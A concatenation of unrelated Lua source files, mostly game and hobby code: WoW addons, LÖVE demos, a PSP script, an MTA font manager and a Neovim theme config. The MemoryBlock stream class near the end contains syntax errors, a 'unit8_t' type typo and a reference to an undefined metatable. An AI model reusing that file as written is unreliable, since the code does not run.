else
meleeRangeText = "M"
end
end
dna.fsMeleeRange:SetText(meleeRangeText)
-- set the fsRange text
if ( dna.D.RTMC[dna.nSelectedRotationTableIndex]
and dna.IsBlank(dna.D.RTMC[dna.nSelectedRotationTableIndex].rangespell) == false
and dna.GetSpellInRangeOfUnit( dna.D.RTMC[dna.nSelectedRotationTableIndex].rangespell, "target") == false
and UnitExists("target")
) then
dna.fsRange:SetText("R") -- OOR show a R for range
else
dna.fsRange:SetText("") -- In range for range spell hide the R
end
end
-- loadstring all action criteria
dna.fLoadCriteriaStrings = function()
for nRotationKey, tRotation in pairs(dna.D.RTMC) do
if tRotation.strClass == dna.D.PClass then
for nActionKey, tAction in pairs(tRotation.children) do
local strCode = tAction.criteria
local script = nil
local strSyntaxError = nil
if tAction.fCriteria == nil then
if (string.find( strCode or "", '--_dna_enable_lua' ) ) then
script, strSyntaxError = loadstring(strCode or "return false")
else
script, strSyntaxError = loadstring('return '..(strCode or "false"))
end
if script ~= nil then
tAction.fCriteria = script
else
tAction.fCriteria = nil
dna:dprint("fLoadCriteriaStrings Syntax error in:\n"..
"|cffF95C25RotationName:|r"..tostring(tRotation.text).."\n"..
"|cffF95C25ActionName:|r"..tostring(tAction.text).."\n"..
"|cffF95C25Error:|r"..tostring(strSyntaxError))
end
end
end
end
end
end
dna.fLoadCriteriaStrings()
-- set the initial pixel stuff after all the functions have been loaded
dna.nEnabled0Off1On = 0
dna.fToggle = function(strKeyState)
if tostring(strKeyState) == 'up' then
if dna.nEnabled0Off1On == 1 then
dna.nEnabled0Off1On = 0
else
dna.nEnabled0Off1On = 1
end
end
end
dna.bEngineReady = true
-- function to toggle toggles on/off
dna.bToggle = {}
dna.ToggleNumber = function(nToggleNumber)
dna.bToggle[nToggleNumber] = (not dna.bToggle[nToggleNumber])
end
-- LDB Menu setup
if (LibStub and LibStub:GetLibrary('LibDataBroker-1.1', true)) then
dna.D.LDB = LibStub:GetLibrary('LibDataBroker-1.1'):NewDataObject(L["common/dna"], {
type = 'data source',
text = L["common/dna"],
icon = 'Interface\\AddOns\\dna\\Textures\\dna_icon32',
OnClick = dna.ui.MenuOnClick,
OnTooltipShow = function(tooltip)
if not tooltip or not tooltip.AddLine then return end
tooltip:AddLine(L["common/dna"])
tooltip:AddLine(L["common/LDB/tt1"])
tooltip:AddLine(L["common/LDB/tt2"])
tooltip:AddLine(L["common/LDB/tt3"])
tooltip:AddLine(L["common/LDB/tt4"])
end,
})
end
dna:RegisterChatCommand("dna", "ProcessSlashCommand")
dna:RegisterComm(dna.D.Prefix)
dna:RegisterEvent("PLAYER_ENTERING_WORLD", "PLAYER_ENTERING_WORLD")
dna:RegisterEvent("UNIT_AURA", "UNIT_AURA")
dna:RegisterEvent("UNIT_SPELLCAST_START", "UNIT_SPELLCAST_START")
dna:RegisterEvent("UNIT_SPELLCAST_CHANNEL_START", "UNIT_SPELLCAST_START")
dna:RegisterEvent("UNIT_SPELLCAST_SUCCEEDED", "UNIT_SPELLCAST_SUCCEEDED")
dna:RegisterEvent("ACTIVE_TALENT_GROUP_CHANGED", "ACTIVE_TALENT_GROUP_CHANGED")
dna:RegisterEvent("COMBAT_LOG_EVENT_UNFILTERED", "COMBAT_LOG_EVENT_UNFILTERED")
dna:RegisterEvent("PLAYER_REGEN_ENABLED", "PLAYER_REGEN_ENABLED")
dna:RegisterEvent("PLAYER_REGEN_DISABLED", "PLAYER_REGEN_DISABLED")
dna:RegisterEvent("NAME_PLATE_UNIT_ADDED", "NAME_PLATE_UNIT_ADDED");
dna:RegisterEvent("NAME_PLATE_UNIT_REMOVED", "NAME_PLATE_UNIT_REMOVED");
self.tEngine = self:ScheduleRepeatingTimer("fEngineOnTimer", .1)
end
|
local bump3dpd = require 'bump-3dpd'
local seed = os.time()
print('Seeding RNG with: ' .. seed)
math.randomseed(seed)
io.stdout:setvbuf("no") -- Enable console output.
local isDrawConsole = false
local collisionsThisTick = 0
local world = bump3dpd.newWorld()
local playerHeight = 25
local player = {
name = 'player',
x = 50,
y = 50,
z = -playerHeight,
w = 20,
h = 20,
d = playerHeight,
zVelocity = 0,
speed = 140,
jump = 375,
gravity = 750,
color = {
r = 0,
g = 255,
b = 0,
},
}
local consoleBuffer = {}
local consoleBufferSize = 15
for i = 1, consoleBufferSize do
consoleBuffer[i] = ''
end
local function addBlock(x,y,z,w,h,d)
local block = {
name = 'block',
color = {
r = 255,
g = 0,
b = 0,
},
}
world:add(block, x,y,z,w,h,d)
return block
end
function love.load()
world:add(player, player.x, player.y, player.z, player.w, player.h, player.d)
-- Add floor.
local floor = addBlock(0, 0, 0, 800, 600, 5)
floor.invisible = true
-- Add walls around the edge.
addBlock( 0, 0, -20, 800-32, 32, 20)
addBlock(800-32, 0, -20, 32, 600-32, 20)
addBlock( 32, 600-32, -20, 800-32, 32, 20)
addBlock( 0, 32, -20, 32, 600-32, 20)
-- Add 30 random blocks. No intersection.
for i=1,30 do
local verticalMagnitude = math.random(10, 100)
local x = math.random(100, 600)
local y = math.random(100, 400)
local z = verticalMagnitude * -1
local w = math.random(10, 100)
local h = math.random(10, 100)
local d = verticalMagnitude
local items = world:queryCube(x, y, z, w, h, d)
if #items == 0 then
addBlock(x, y, z, w, h, d)
end
end
end
local function consolePrint(msg)
table.remove(consoleBuffer,1)
consoleBuffer[consoleBufferSize] = msg
end
local function updatePlayer(dt)
local dx, dy = 0, 0
-- Walking
if love.keyboard.isDown('right') then
dx = player.speed * dt
end
if love.keyboard.isDown('left') then
dx = -player.speed * dt
end
if love.keyboard.isDown('down') then
dy = player.speed * dt
end
if love.keyboard.isDown('up') then
dy = -player.speed * dt
end
-- Jumping
local isOnGround = player.zVelocity == 0
if isOnGround and love.keyboard.isDown('space') then
player.zVelocity = player.jump * -1
end
-- Apply gravity.
player.zVelocity = player.zVelocity + player.gravity * dt
if dx ~= 0 or dy ~= 0 or player.zVelocity ~= 0 then
local cols
player.x, player.y, player.z, cols, collisionsThisTick = world:move(
player,
player.x + dx,
player.y + dy,
player.z + player.zVelocity * dt
)
for i=1, collisionsThisTick do
local col = cols[i]
consolePrint(("col.other = %s, col.type = %s, col.normal = %d,%d,%d"):format(
col.other,
col.type,
col.normal.x,
col.normal.y,
col.normal.z
))
if col.normal.z ~= 0 then
player.zVelocity = 0
end
end
end
end
local memoryTotalLastFrame = 0
local memoryChangeThisFrame = 0
local function calculateMemoryChangeThisFrame()
local memoryTotalThisFrame = collectgarbage("count")
memoryChangeThisFrame = memoryTotalThisFrame - memoryTotalLastFrame
memoryTotalLastFrame = memoryTotalThisFrame
end
function love.update(dt)
collisionsThisTick = 0
if love.keyboard.isDown('lshift') or love.keyboard.isDown('rshift') then
dt = dt / 100
end
updatePlayer(dt)
calculateMemoryChangeThisFrame()
end
local function drawPlayerShadow()
local color = player.color
love.graphics.setColor(color.r * 0.15, color.g * 0.15, color.b * 0.15)
local x,y,_,w,h,_ = world:getCube(player)
love.graphics.rectangle("fill", x, y, w, h)
end
-- Z-Sorting algorithm implementation was largely informed by this excellent blog post:
-- http://andrewrussell.net/2016/06/how-2-5d-sorting-works-in-river-city-ransom-underground/
local getZSortedItems
do
-- We use the original, 2d version of bump.lua in order to detect which items
-- overlap when painting the world.
-- https://github.com/kikito/bump.lua
local bump2d = require 'demolibs.bump'
-- Topological sorting library.
-- https://github.com/bungle/lua-resty-tsort
local tsort = require 'demolibs.tsort'
local world2d = bump2d.newWorld()
getZSortedItems = function()
-- Add or update draw positions of all visible items.
for _, item in ipairs(world:getItems()) do
if item.invisible ~= true then
local x,y,z,w,h,d = world:getCube(item)
if world2d:hasItem(item) then
world2d:update(item, x, y + z)
else
world2d:add(item, x, y + z, w, h + d)
end
end
end
local graph = tsort.new()
local noOverlap = {}
-- Iterate through all visible items, and calculate ordering of all pairs
-- of overlapping items.
-- TODO: Each pair is calculated twice currently. Maybe this is slow?
for _, itemA in ipairs(world2d:getItems()) do repeat
local x, y, w, h = world2d:getRect(itemA)
local otherItemsFilter = function(other) return other ~= itemA end
local overlapping, len = world2d:queryRect(x, y, w, h, otherItemsFilter)
if len == 0 then
table.insert(noOverlap, itemA)
break
end
local _, aY, aZ, _, aH, aD = world:getCube(itemA)
for _, itemB in ipairs(overlapping) do
local _, bY, bZ, _, bH, bD = world:getCube(itemB)
if aZ + aD <= bZ then
-- item A is completely above item B
graph:add(itemB, itemA)
elseif bZ + bD <= aZ then
-- item B is completely above item A
graph:add(itemA, itemB)
elseif aY + aH <= bY then
-- item A is completely behind item B
graph:add(itemA, itemB)
elseif bY + bH <= aY then
-- item B is completely behind item A
graph:add(itemB, itemA)
elseif aY + aZ + aH + aD >= bY + bZ + bH + bD then
-- item A's forward-most point is in front of item B's forward-most point
graph:add(itemB, itemA)
else
-- item B's forward-most point is in front of item A's forward-most point
graph:add(itemA, itemB)
end
end
until true end
local sorted, err = graph:sort()
if err then
error(err)
end
for _, item in ipairs(noOverlap) do
table.insert(sorted, item)
end
return sorted
end
end
local function drawItem(item)
if item.invisible == true then
return
end
local setAlpha = function(alpha)
love.graphics.setColor(
item.color.r * alpha,
item.color.g * alpha,
item.color.b * alpha
)
end
local x,y,z,w,h,d = world:getCube(item)
-- Front Side
setAlpha(0.3)
love.graphics.rectangle("fill", x, y + z + h, w, d)
setAlpha(1)
love.graphics.rectangle("line", x, y + z + h, w, d)
-- Top
setAlpha(0.5)
love.graphics.rectangle("fill", x, y + z, w, h)
setAlpha(1)
love.graphics.rectangle("line", x, y + z, w, h)
end
local drawWorld = function()
drawPlayerShadow()
for _, item in ipairs(getZSortedItems()) do
drawItem(item)
end
end
local INSTRUCTIONS = [[
bump-3dpd simple demo
arrows: move
space: jump
tab: toggle console info
delete: run garbage collector
]]
local function drawInstructions()
love.graphics.setColor(255, 255, 255)
love.graphics.print(INSTRUCTIONS, 550, 10)
end
local function drawDebug()
local statistics = ("fps: %d, mem: %dKB, mem/frame: %.3fKB, collisions: %d, items: %d"):format(
love.timer.getFPS(),
collectgarbage("count"),
memoryChangeThisFrame,
collisionsThisTick,
world:countItems(),
player.x,
player.y,
player.z
)
love.graphics.setColor(255, 255, 255)
love.graphics.printf(statistics, 0, 580, 790, 'right')
end
local function drawConsole()
for i = 1, consoleBufferSize do
love.graphics.setColor(255,255,255, i*255/consoleBufferSize)
love.graphics.printf(consoleBuffer[i], 10, 580-(consoleBufferSize - i)*12, 790, "left")
end
end
function love.draw()
drawWorld()
drawInstructions()
drawDebug()
if isDrawConsole then
drawConsole()
end
end
function love.keypressed(k)
if k == "escape" then
love.event.quit()
end
if k == "tab" then
isDrawConsole = not isDrawConsole
end
if k == "delete" then
collectgarbage("collect")
end
end
|
c = require("component")
Rep = c.repulsor
Io = c.redstone
Rep.recalibrate(0)
Rep.setForce(-1)
Rep.setRadius(4)
Rep.setWhitelist(false)
--Rep.setVector(1, 1, 0)
while true do
r = Io.getInput(1)
if r > 7 then
for _=1, 10 do
Rep.pulse(0,0,0)
end
end
os.sleep(0.3)
end
|
-- Author: Lpsd (https://github.com/Lpsd/)
-- See the LICENSE file @ root directory
-- *******************************************************************
FontManager = inherit(Singleton)
-- *******************************************************************
function FontManager:constructor()
self.fonts = {}
self.qualities = {
["default"] = true,
["draft"] = true,
["proof"] = true,
["nonantialiased"] = true,
["antialiased"] = true,
["cleartype"] = true,
["cleartype_natural"] = true
}
self.mtaFonts = {
["default"] = true,
["default-bold"] = true,
["clear"] = true,
["arial"] = true,
["sans"] = true,
["pricedown"] = true,
["bankgothic"] = true,
["diploma"] = true,
["beckett"] = true
}
self.defaultQuality = "antialiased"
self.defaultSizes = 16
-- Include MTA fonts
for font in pairs(self.mtaFonts) do
self:createFontContainer(font)
end
-- Include custom fonts
self:createFontContainer("montserrat", "fonts/Montserrat-Regular.ttf")
end
-- *******************************************************************
function FontManager:setDefaultQuality(quality)
if (not self.qualities[quality]) then
return false
end
self.defaultQuality = quality
return true
end
-- *******************************************************************
function FontManager:setDefaultSizes(sizes)
sizes = tonumber(sizes)
if (not sizes) then
return false
end
self.defaultSizes = sizes
return true
end
-- *******************************************************************
function FontManager:createFontContainer(name, filepath, sizes, quality)
if (self.fonts[name]) then
return false
end
local isMtaFont = self.mtaFonts[name]
sizes = tonumber(sizes) or self.defaultSizes
quality = self.qualities[quality] or self.defaultQuality
self.fonts[name] = Font:new(name, filepath, sizes, quality, isMtaFont)
return self.fonts[name]
end
-- *******************************************************************
function FontManager:getFontContainer(name)
return self.fonts[name]
end
|
local ok, onedarkpro = pcall(require, "onedarkpro")
if not ok then
return
end
-- local name_colorscheme = function ()
-- if O.default.theme == "onedarkpro-light" then
--
-- -- body
-- end
local name_colorscheme = {
["onedarkpro-light"] = "onelight",
["onedarkpro-dark"] = "onedark",
}
onedarkpro.setup {
theme = name_colorscheme[O.default.theme], -- "onedark" | "onelight"
colors = {
cursorline = "#FF0000", -- This is optional. The default cursorline color is based on the background
},
styles = {
comments = "italic",
-- functions = "NONE",
keywords = "bold,italic",
strings = "NONE",
-- variables = "NONE"
},
}
onedarkpro.load()
|
--[[
File Name : Utils.lua
Created By : tubiakou
Creation Date : [2019-01-07 01:28]
Last Modified : [2019-02-11 00:56]
Description : General / miscellaneous utilities for the WoW addon 'AllFriends'
--]]
-- WoW API treats LUA modules as "functions", and passes them two arguments:
-- 1. The name of the addon, and
-- 2. A table containing the globals for that addon.
-- Using these lets all modules within an addon share the addon's global information.
--local addonName, AF = ...
local addonName, AF_G = ...
-- Some local overloads to optimize performance (i.e. stop looking up these
-- standard functions every single time they are called, and instead refer to
-- them by local variables.
local ipairs = ipairs
local pairs = pairs
local string = string
local strfind = string.find
local strfmt = string.format
local strgsub = string.gsub
local strlower = string.lower
local table = table
local tblinsert = table.insert
local tblsort = table.sort
local tonumber = tonumber
local origtostring = tostring
local type = type
-- Table of connected realms. Declared at file-level scope to try and improve
-- the chances of it remaining persistent until logout.
local tConnectedRealms = { "empty" }
local numConnectedRealms = 0
--- Helper function "startswith"
-- Identifies if specified string starts with the specified pattern
-- @param someString The string to check
-- @param start The pattern to search for at start of string
-- @return true Pattern found
-- @return false Pattern not found
function AF.startswith( someStr, start )
return someStr:sub( 1, #start ) == start
end
--- Helper function "endswith"
-- Identifies if specified string ends with the specified pattern
-- @param someStr The string to check
-- @param ending The pattern to search for at end of string
-- @return true Pattern found
-- @return false Pattern not found
function AF.endswith( someStr, ending )
return ending == "" or someStr:sub( -#ending ) == ending
end
--- Helper function "_tostring"
-- A variant of tostring() that can handle tables recursively
-- @param value table/string/number/etc. to be converted
-- @return someStr Value converted into a string
function AF._tostring( value )
local someStr = ""
if ( type( value ) ~= 'table' ) then
if ( type( value ) == 'string' ) then
someStr = strfmt( "%q", value )
else
someStr = origtostring( value )
end
else
local auxTable = {}
for key in pairs( value ) do
if (tonumber( key ) ~= key ) then
tblinsert( auxTable, key )
else
tblinsert( auxTable, AF._tostring( key ) )
end
end
tblsort( auxTable )
someStr = someStr .. '{'
local separator = ""
local entry
for _, fieldName in ipairs( auxTable ) do
if ( ( tonumber( fieldName ) ) and ( tonumber( fieldName ) > 0 ) ) then
entry = AF._tostring( value[tonumber( fieldName )] )
else
entry = fieldName.." = " .. AF._tostring( value[fieldName] )
end
someStr = someStr .. separator..entry
separator = ", "
end
someStr = someStr .. '}'
end
return someStr
end
--- Helper function "getCurrentRealm"
-- Returns the current realm name. The name will be in all-lowercase format,
-- and will have all leading,trailing, and intervening spaces removed.
-- @return Name of current realm (all lowercase, no spaces)
function AF.getCurrentRealm( )
return strlower( strgsub( GetRealmName( ), "%s+", "" ) )
end
--- Helper function "getConnectedRealms"
-- Returns a table of the current realm group (i.e. the local realm + all
-- connected realms), along with the size of the realm-group.
-- The first time this function is called, it will populate the table and
-- return it. Subsequent calls will simply return the same table, since
-- realm-group composition should never change while a player is online.
-- @return tConnectedRealms Table representing the current realm-group
-- @return numConnectedRealms Number of realms in the realm-group.
function AF.getConnectedRealms( )
-- tConnectedRealms must persist across multiple function calls, so it is
-- delcared at file-level scope above...
-- If tConnectedRealms has not already been populated with the current
-- realm-group (local realm + any connected realms) then load it now. The
-- list provided by the WoW API is numerically indexed. To make lookups
-- easier, convert it into a hashed table where the keys are the realm-
-- names. Make all names all-lowercase.
if( numConnectedRealms == 0 ) then
debug:debug( "tConnectedRealms not populated - initializing now." )
wipe( tConnectedRealms )
local tmpRealmList = GetAutoCompleteRealms( )
if( #tmpRealmList == 0 ) then
tblinsert( tConnectedRealms, AF.getCurrentRealm( ) )
numConnectedRealms = 1
else
for i = 1, #tmpRealmList do
tblinsert( tConnectedRealms, strlower( tmpRealmList[i] ) )
end
numConnectedRealms = #tmpRealmList
end
else
debug:debug( "tConnectedRealms already populated." )
end
debug:info ("Returning %d realms: [%s]", numConnectedRealms, AF._tostring( tConnectedRealms ) )
return tConnectedRealms, numConnectedRealms
end
--- Helper function "isRealmConnected"
-- Takes the specified realm and returns true/false to indicate whether or not
-- it is connected to the current realm (or is equal to the local realm).
-- @param realmName Name of realm to check
-- @return true Realm is connected to (or equals) the local realm
-- @return false Realm is not connected to and not equal the local realm
function AF:isRealmConnected( realmName )
realmName = strlower( realmName )
local tRealmGroup, _ = AF.getConnectedRealms( )
for _, v in pairs(tRealmGroup) do
if( realmName == v ) then
debug:info( "Realm %s is connected to our realm.", realmName )
return true
end
end
debug:info( "Realm %s is not connected to our realm." , realmName )
return false
end
--- Helper function "getLocalizedRealm"
-- Takes a name in one of the following forms:
-- - "playername" (gets treated as local realm)
-- - "playername-realmname" (realm is as-specified)
-- - "" (gets treated as local realm)
-- - nil (gets treated as local realm)
--
-- Strips the player name if present, and treats the remainder as a realm-name.
-- Identifies whether this realm is:
-- 1) local,
-- 2) part of the current connected realm-group, or
-- 3) non-local and not part of the current realm group.
--
-- NOTE: All returned realm-names will be in all-lowercase, and have all spaces
-- as well as any supplied player name compoenent stripped out.
--
-- @param nameAndRealm Realm or "name-realm" to be localized
-- @return true, <name of local realm> Specified realm is local
-- @return true, <name of local realm> Specified realm is nil or empty
-- @return false, <name of realm> Specified realm is non-local but connected
-- @return false, "unknown" Specified realm non-local and not connected
function AF:getLocalizedRealm( nameAndRealm )
-- Get the name of the local (i.e. current) realm
local localRealm = AF:getCurrentRealm( )
-- Handle cases where specified realm is nil or empty
if( nameAndRealm == nil or nameAndRealm == "" ) then
debug:debug( "Specified name/realm is nil or empty, treating as local." )
return true, localRealm
else
nameAndRealm = strlower( nameAndRealm )
end
-- Isolate on the realm part of the passed name, discarding any player name
-- that may have been included. Convert what remains to all-lowercase, and
-- strip any contained spaces. Treat names without "-" as local player
-- names.
local realmName
if( strfind( nameAndRealm, "-" ) ) then
realmName = strgsub( strgsub( nameAndRealm, "^.*-", "" ), "%s+", "" )
else
realmName = localRealm
end
-- Handle case where specified realm equals the local realm
if( realmName == localRealm ) then
debug:debug( "realm %s == local realm.", realmName )
return true, localRealm
end
if( AF:isRealmConnected( realmName ) == true ) then
debug:debug( "Realm %s different than local realm, but is connected.", realmName )
return false, realmName
end
debug:debug( "Realm %s not connected to local realm.", realmName )
return false, "unknown"
end
-- vim: autoindent tabstop=4 shiftwidth=4 softtabstop=4 expandtab
|
local people = require("people")
local util = require("util")
local fonts = require("fonts")
local timer = require("hump.timer")
local colors = require("colors")
local index = 1
local totalTime = 0
local stencilRect = nil
local indexRect = nil
local textoff = {
x = 0,
y = 0
}
local textpos = {
x = 15,
y = 60
}
local textWidth = nil
local modeloff = {
x = 0,
y = 0
}
local indexpos = {
x = 100,
y = 20
}
local indexoff = {
x = 0,
y = 0
}
local indexWidth = nil
local tlastoff = {
x = 0,
y = 0
}
local mlastoff = {
x = 0,
y = 0
}
local ilastoff = {
x = 0,
y = 0
}
local switchanim = 0.5
local btns = nil
local lastPerson = nil
local lastIndex = nil
local switching = false
local drawText = function(person, off)
love.graphics.setColor({255, 255, 255})
local text = "Name: " .. person.name .. "\n\n"
.. "Date: " .. person.date .. "\n\n"
.. "Idea: " .. person.idea .. "\n\n"
.. "Proof: " .. person.proof .. "\n\n"
.. "Disproof: " .. person.disproof
fonts.text:set()
love.graphics.printf(text, textpos.x + off.x, textpos.y + off.y, textWidth)
end
local switch = function(dir)
if not switching and ((dir == "left" and index > 1) or (dir == "right" and index < #people)) then
lastPerson = people[index]
local toutX = textWidth + textoff.x
local moutY = util.h()
local ioutX = indexWidth + indexoff.x
lastIndex = index
if dir == "left" then
toutX = 1 * toutX
moutY = 1 * moutY
ioutX = 1 * ioutX
index = index - 1
elseif dir == "right" then
toutX = -1 * toutX
moutY = -1 * moutY
ioutX = -1 * ioutX
index = index + 1
else
error("dir must be \"left\" or \"right\"!")
end
textoff.x = -toutX
modeloff.y = -moutY
indexoff.x = -ioutX
switching = true
timer.tween(switchanim, tlastoff, {x = toutX}, "linear", function()
lastPerson = nil
tlastoff.x = 0
switching = false
end)
timer.tween(switchanim, textoff, {x = 0}, "linear")
timer.tween(switchanim, mlastoff, {y = moutY}, "linear", function()
mlastoff.y = 0
end)
timer.tween(switchanim, modeloff, {y = 0}, "linear")
timer.tween(switchanim, ilastoff, {x = ioutX}, "linear", function()
lastIndex = nil
ilastoff.x = 0
end)
timer.tween(switchanim, indexoff, {x = 0}, "linear")
end
end
function possSwitch(x, y)
if util.pir(x, y, btns.l.x, btns.l.y, btns.l.w, btns.l.h) then
switch("left")
elseif util.pir(x, y, btns.r.x, btns.r.y, btns.r.w, btns.r.h) then
switch("right")
end
end
local drawRect = function(r)
love.graphics.rectangle("fill", r.x, r.y, r.w, r.h)
end
local drawArrow = function(dir, x, y, w, h)
local rect = {
x = x,
y = y + h / 4,
w = w / 2,
h = h / 2
}
local tri = {}
tri[1] = x + w / 2
tri[2] = y
tri[3] = x + w / 2
tri[4] = y + h
tri[6] = y + h / 2
if dir == "left" then
rect.x = x + w / 2
tri[5] = y
elseif dir == "right" then
rect.x = x
tri[5] = x + w
end
drawRect(rect)
love.graphics.polygon("fill", tri)
end
function love.load()
love.window.setMode(1600, 900, {fsaa = 8, resizable = true})
love.window.setTitle("Toby's Atomic Models")
fonts()
end
function love.update(dt)
timer.update(dt)
totalTime = totalTime + dt
stencilRect = {}
stencilRect.x = 10
stencilRect.y = 40
stencilRect.w = util.w() / 2 - 2 * stencilRect.x
stencilRect.h = util.h() / 2 - 2 * stencilRect.y
btns = {
l = {
x = 0,
y = 0,
w = 50,
h = 50
},
r = {
x = util.w() / 2 - 50,
y = 0,
w = 50,
h = 50
}
}
textWidth = util.w() / 2 - textpos.x * 2
indexWidth = textWidth - btns.l.w - btns.r.w
end
function love.draw()
local person = people[index]
love.graphics.setColor({255 * 0.75, 0, 0})
love.graphics.rectangle("fill", 0, 0, love.graphics.getWidth() / 2, love.graphics.getHeight())
love.graphics.setColor({125, 0, 255})
love.graphics.rectangle("fill", love.graphics.getWidth() / 2, 0, love.graphics.getWidth() / 2, love.graphics.getHeight())
love.graphics.setStencil(function()
drawRect(stencilRect)
end)
drawText(person, textoff)
if lastPerson then drawText(lastPerson, tlastoff) end
love.graphics.setStencil()
love.graphics.setStencil(function()
drawRect({
x = indexpos.x,
y = indexpos.y,
w = indexWidth,
h = 50
})
end)
if lastIndex then love.graphics.printf(lastIndex, indexpos.x + ilastoff.x, indexpos.y + ilastoff.y, indexWidth, "center") end
love.graphics.printf(index, indexpos.x + indexoff.x, indexpos.y + indexoff.y, indexWidth, "center")
love.graphics.setStencil()
love.graphics.push()
util.resize(0.5, 1)
love.graphics.push()
if lastPerson then
love.graphics.translate(util.w(), mlastoff.y)
lastPerson.model.draw(totalTime)
end
love.graphics.pop()
love.graphics.translate(util.w(), modeloff.y)
person.model.draw(totalTime)
util.resize(1, 1)
love.graphics.pop()
love.graphics.setColor(index > 1 and colors.green or colors.gray)
drawArrow("left", btns.l.x, btns.l.y, btns.l.w, btns.l.h)
love.graphics.setColor(index < #people and colors.green or colors.gray)
drawArrow("right", btns.r.x, btns.r.y, btns.r.w, btns.r.h)
end
function love.mousereleased(x, y)
possSwitch(x, y)
end
function love.keypressed(k)
if k == "left" or k == "right" then switch(k) end
end
|
file = io.open("ms0:/PSP/GAME/PMN/fonts/font.txt","r")
font_name = file:read()
file:close()
font = Font.load("ms0:/PSP/GAME/PMN/fonts/"..font_name)
font:setPixelSizes(95,110)
file = io.open("ms0:/PSP/GAME/PMN/NAME.TXT", "r")
name = file:read()
file:close()
--Setting Variables
x=100
y=100
t=1
pos=1
Text = {}
Text[1]= name
--format image
file = io.open("ms0:/PSP/GAME/PMN/FORMAT.TXT", "r")
f_format = file:read()
file:close()
sccnt = 1
--folder image
file = io.open("ms0:/PSP/GAME/PMN/folder.TXT", "r")
f_folder = file:read()
file:close()
while true do
screen:clear()
pad = Controls.read()
if pad:l() then t=t-1 end
if pad:r() then t=t+1 end
if t < 1 then t = 1 end
if t>pos then t = pos end
if pad:left() then x=x-1 end
if pad:right()then x=x+1 end
if pad:up() then y=y-1 end
if pad:down() then y=y+1 end
if x<=0 then x=0 end
if x>=480 then x=480 end
if y<=0 then y=0 end
if y>=272 then y=272 end
if pad:select() then
screen:save("ms0:/PICTURE/"..sccnt.."."..f_format)
sccnt = sccnt + 1
end
if pad:triangle() then
dofile("ms0:/PSP/GAME/PMN/menu.lua")
end
screen:fontPrint(font,x,y,Text[t], Color.new(255,0,0))
screen.waitVblankStart()
screen.flip()
end
|
Spriteset_Hud = Object:extend("Spriteset_Hud")
function Spriteset_Hud.prototype:constructor()
self._hp = Assets.graphics.hud.hp_bar
self._hpBar = Assets.graphics.hud.hp_bar_fill
self._light = Assets.graphics.hud.light_bar
self._lightBar = Assets.graphics.hud.light_bar_fill
local w, h = self._hpBar:getDimensions()
self._hpQuad = love.graphics.newQuad(0, 0, w, h, w, h)
self._hpAmount = Game_Player.hp
self._lightQuad = love.graphics.newQuad(0, 0, 36, 3, 36, 3)
self:update()
end
function Spriteset_Hud.prototype:update(dt)
if self._hpAmount < Game_Player.hp then
self._hpAmount = self._hpAmount + 1
elseif self._hpAmount > Game_Player.hp then
self._hpAmount = self._hpAmount - 1
end
local w, h = self._hpBar:getDimensions()
self._hpQuad:setViewport(0, 0, w * self._hpAmount / Game_Player.maxHP, h)
self._lightQuad:setViewport(0, 0, 36 * Game_Player._candleTime / Game_Player.MAX_CANDLE_TIME, 3)
end
function Spriteset_Hud.prototype:draw()
local offset = 2
love.graphics.draw(self._hp, offset, offset)
love.graphics.draw(self._hpBar, self._hpQuad, offset + 9, offset + 2)
local x = 8
local y = 10
if Game_Inventory:hand() == "candle" then
love.graphics.draw(self._light, x, y)
love.graphics.draw(self._lightBar, self._lightQuad, x + 1, y + 1)
end
end
|
local ffi = require "ffi"
local StreamOps = require("StreamOps")
local MemoryBlock = {}
setmetatable(MemoryBlock, {
__call = function(self, ...)
return self:create(...);
end,
})
local MemoryBlock_mt = {
__index = MemoryBlock;
}
function MemoryBlock.init(self, buff, bufflen, offset, byteswritten)
if not buff then
return nil, "no buffer specified"
end
bufflen = bufflen or 0
offset = offset or 0
byteswritten = byteswritten or 0
local obj = {
Length = bufflen,
Buffer = buff,
Position = 0,
BytesWritten = byteswritten,
}
setmetatable(obj, MemoryStream_mt)
return obj
end
-- Parameters
-- size
-- OR
-- buff
-- bufflen
-- offset
-- byteswritten
function MemoryBlock.create(self, ...)
local nargs = select('#', ...);
local buff = nil;
local bufflen = 0;
local offset = 0;
local byteswritten = 0;
if nargs == 1 and type(select(1,...)) == "number" then
-- allocate a buffer of the given size
bufflen = select(1,...)
buff = ffi.new("uint8_t[?]", bufflen);
else
buff = ffi.cast("unit8_t *", select(1,...))
if nargs >= 2 and type(select(2,...)) == "number" then
bufflen = select(2,...);
byteswritten = bufflen;
if nargs >= 3 then
offset = select(3,...);
end
if nargs >= 4 then
byteswritten = select(4,...);
end
else
bufflen = #select(1,...);
byteswritten = bufflen;
end
end
return self:init(buff, bufflen, offset, byteswritten);
end
function MemoryBlock.cancel = function(self)
return true;
end
function MemoryBlock.canseek = function(self)
return true;
end
function MemoryBlock:reset()
self.Offset = 0
self.Position = 0
self.BytesWritten = 0
end
function MemoryBlock:GetLength()
return self.Length
end
function MemoryBlock:GetPosition()
return self.Position
end
function MemoryBlock:GetRemaining()
return self.Length - self.Position
end
function MemoryBlock:BytesReadyToBeRead()
return self.BytesWritten - self.Position
end
function MemoryBlock:seek(pos, origin)
origin = origin or StreamOps.SEEK_SET
if origin == StreamOps.SEEK_CUR then
local newpos = self.Position + pos
if newpos >= 0 and newpos < self.Length then
self.Position = newpos
end
elseif origin == StreamOps.SEEK_SET then
if pos >= 0 and pos < self.Length then
self.Position = pos;
end
elseif origin == StreamOps.SEEK_END then
local newpos = self.Length-1 - pos
if newpos >= 0 and newpos < self.Length then
self.Position = newpos
end
end
return self.Position
end
--[[
Reading interface
--]]
function MemoryBlock:readBytes(buff, count, offset)
offset = offset or 0
local pos = self.Position
local remaining = self:GetRemaining()
local maxbytes = math.min(count, remaining)
if maxbytes < 1 then
return nil, "eof"
end
local src = ffi.cast("const uint8_t *", self.Buffer)+pos
local dst = ffi.cast("uint8_t *", buff)+offset
ffi.copy(dst, src, maxbytes)
return maxbytes
end
--[[
Writing interface
--]]
function MemoryBlock:writeBytes(buff, count, offset)
count = count or #buff;
offset = offset or 0;
local pos = self.Position;
local size = self.Length;
local remaining = size - pos;
local maxbytes = math.min(remaining, count);
if maxbytes <= 0
then return 0
end
local dst = ffi.cast("uint8_t *", self.Buffer)+pos
local src = ffi.cast("const uint8_t *", buff)+offset
ffi.copy(dst, src, maxbytes);
-- self.Position = pos + maxbytes;
-- if self.Position > self.BytesWritten then
-- self.BytesWritten = self.Position
-- end
return maxbytes;
end
return MemoryBlock;
|
local resty_sha256 = require "resty.sha256"
local str = require "resty.string"
